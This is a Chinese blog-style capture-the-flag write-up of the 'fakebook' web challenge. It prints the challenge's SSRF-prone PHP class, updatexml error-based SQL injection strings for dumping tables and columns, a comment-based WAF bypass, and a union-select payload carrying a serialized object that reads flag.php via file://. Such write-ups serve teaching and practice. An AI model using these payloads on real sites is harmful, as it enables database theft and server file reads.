[攻防世界web]fakebook

使用nikto扫描目录
在这里插入图片描述
得到

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

根据正则表达式join,跳转到下个界面

由于服务器端没有对get进行url过滤,所以存在SSFR漏洞

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF是要目标网站的内部系统。(因为他是从内部系统访问的,所有可以通过它攻击外网无法访问的内部系统,也就是把目标网站当中间人)
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制
SSRF漏洞就是通过篡改获取资源的请求发送给服务器,但是服务器并没有检测这个请求是否合法的,然后服务器以他的身份来访问其他服务器的资源。

使用sqlmap扫描

扫描出get漏洞

/view.php?no=1 and 1=2

根据报错得到目录地址

updatexml报错注入

updatexml()是一个使用不同的xml标记匹配和替换xml块的函数。

**作用:**改变文档中符合条件的节点的值

  • 语法: updatexml(XML_document,XPath_string,new_value)
  • 参数: 第一参数:第一个参数是string格式,为XML文档对象的名称,文中为Doc 第二个参数:代表路径,Xpath格式的字符串例如//title【@lang】 第三个参数:string格式,替换查找到的符合条件的数据
  • updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
    例如: select * from test where ide = 1 and (updatexml(1,0x7e,3)); 由于0x7e是~,不属于xpath语法格式,因此报出xpath语法错误。
  • 爆表名
    ?id=1 and updatexml(1,make_set(3,’~’,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#
  • 爆列名
    ?id=1 and updatexml(1,make_set(3,’~’,(select group_concat(column_name) from information_schema.columns where table_name=“users”)),1)#
  • 爆字段
    ?id=1 and updatexml(1,make_set(3,’~’,(select data from users)),1)#

回到这道题,

  • 爆表名 /view.php?no=1 and updatexml(1,make_set(3,’~’,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#
  • 爆列名 /view.php?no=1 and updatexml(1,make_set(3,’~’,(select group_concat(column_name) from information_schema.columns where table_name=“users”)),1)#
    在这里插入图片描述
  • 爆字段 /view.php?no=1 and updatexml(1,make_set(3,’~’,(select data from users)),1)#
    在这里插入图片描述
    反序列化

综合考虑:服务端请求伪造漏洞,在服务器上的flag.php文件,网站配置文件的物理路径(同时也是flag.php的路径),PHP反序列化。
整理出思路:利用no参数进行注入,在反序列化中构造file文件协议,利用服务端请求伪造漏洞访问服务器上的flag.php文件

  • 内联注释绕过
    把要使用的查询语句放在/。。。/中,这样在一般的数据库是不会执行的,但是在mysql中内联注释中的语句会被执行。
    直接用 union select 会被WAF检测到,所以使用 /**/ 来绕过

Payload:
/view.php?no=0/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

  • 反序列化字符串对应数据库data列放在第四列(fuzz测试,爆列名),注入后bolg栏显示file:///var/www/html/flag.php,代表注入成功

查看源代码

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值